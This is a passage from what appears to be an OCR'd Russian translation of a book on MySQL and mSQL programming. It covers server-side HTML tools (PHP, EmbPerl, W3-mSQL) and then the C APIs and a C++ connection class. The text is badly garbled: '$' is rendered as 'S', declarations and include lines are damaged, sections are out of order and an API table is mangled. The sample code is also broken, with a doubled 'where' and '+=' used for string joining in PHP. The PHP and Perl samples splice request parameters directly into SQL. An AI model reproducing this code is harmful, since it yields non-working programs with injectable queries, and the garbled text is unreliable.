    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

    Result "Connection::Query(char *sql) { T_RESULT *res; int state;

    // Если нет соединения, делать нечего

    if( !lsConnected(-) ) { throw "Соединения нет.";

    }

    // Выполнить запрос

    #if defined(HAS_MSQL)

    state = msqlQuery(connection, sql);

    #elif defined(HAS_MYSQL)

    state = mysql_query(connection, sql);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если произошла ошибка

    if( state < 0 ) { throw GetError();

    }

    // Забрать результаты, если таковые имеются

    #if defined(HAS_MSQL)

    res = msqlStoreResult();

    #elif defined(HAS_MYSQL)

    res = mysql_store_result(connection);

    #else

    #error Нет соединения с базой данных,

    #endif

    // Если результат null, это было обновление или произошла ошибка

    // Примечание: mSQL не порождает ошибки в msqlStoreResult()

    if( res == (T_RESULT *)NULL ) {

    // Установить значение affected_rows равным возвращенному msqlQuery()

    #if defined(HAS_MSQL)

    affected_rows = state;

    #elif defined(HAS_MYSQL)

    // field_count != 0 означает, что произошла ошибка

    int field_count = mysql_num_fields(connection);

    if( field_count != 0 )

    {

    throw GetError();

    }

    else

    {

    // Запомнить affected_rows

    affected_rows = mysql_affected_rows(connection); }


    #else

    #error Нет соединения с базой данных,

    #endif

    //Возвратить NULL в случае обновления

    return (Result *)NULL; }

    // Для запроса возвратить экземпляр Result

    return new Result(res); }

    В начале обращения к базе данных делается вызов метода mysql_query() или msqlQuery() с передачей ему команды SQL, которую нужно выполнить. В случае ошибки оба API возвращают отличное от нуля значение. На следующем этапе вызываются mysql_store_result() или msqlStoreResult() , чтобы проверить, получены ли результаты, и сделать эти результаты доступными приложению. В этом месте две СУБД несколько отличаются в деталях обработки.

    В mSQL API метод msqlStoreResult() не генерирует ошибки. Эту функцию приложение использует для того, чтобы поместить полученный результирующий набор в хранилище, управлять которым будет приложение, а не mSQL API. Иными словами, при вызове msqlQuery() результаты запоминаются во временной области памяти, управляемой API. Последующие вызовы msqlQuery() затирают эту область памяти. Чтобы сохранить результат в области памяти вашего приложения, нужно вызвать msqlStoreResult() .

    Поскольку метод msqlStoreResult() не генерирует ошибку, при его вызове нужно рассматривать две возможности. Если обращение к базе данных было запросом, создавшим результирующий набор, то msqlStoreResult() возвращает указатель на структуру m_result, с которой может работать ваше приложение. При всех других типах обращения (обновление, вставка, удаление или создание) msqlStoreResult() возвращает NULL. Узнать количество строк, обработанных неизвлекающим данные запросом, можно из значения, возвращенного исходным вызовом msqlQuery() .

    Подобно msqlStoreResult() , метод mysql_store_result() используется для запоминания данных, возвращенных запросом, в области памяти приложения, но, в отличие от версии для mSQL, необходимо создать для mysql_store_result() некий обработчик ошибок. Именно, значение NULL, возвращенное mysql_store_result() , может означать и то, что запрос не предполагал возвращение результирующего набора, и ошибку при получении последнего. Вызов метода mysql__num_f ields() позволит определить истинную причину. Отличное от 0 значение счетчика полей свидетельствует о происшедшей ошибке. Число измененных строк можно определить при обращении к методу mysql_affected_rows() .*


    Другие методы класса Connection

    По всему классу Connection разбросаны два вспомогательных метода, IsConnected() и GetError(). Проверить состояния соединения просто — достаточно посмотреть значение атрибута connection. Оно должно быть не NULL для MySQL или отличным от -1 для mSQL. Напротив, сообщения об ошибках требуют некоторых пояснений.

    Извлечение сообщений об ошибках для mSQL просто и безыскусно, нужно лишь использовать значение глобальной переменной msqlErrMsg . Ее значение точно совпадает с тем, что возвращает от mSQL метод GetError(). С MySQL дело обстоит несколько сложнее. При обработке любых сообщений об ошибках необходимо учитывать многопоточность. В многопоточной среде обработка ошибок осуществляется путем получения сообщений об ошибках с помощью функции mysql_error() . В примере 13-7 показаны обработка ошибок для MySQL и mSQL в методе GetError(), а также проверка соединения в методе IsConnected() .

    Пример 13-7. Чтение сообщений об ошибках и другие вспомогательные задачи класса Connection

    int Connection::GetAffectedRows() {

    return affected_rows; }

    char 'Connection::GetError() {

    #if defined(HAS_MSQL)

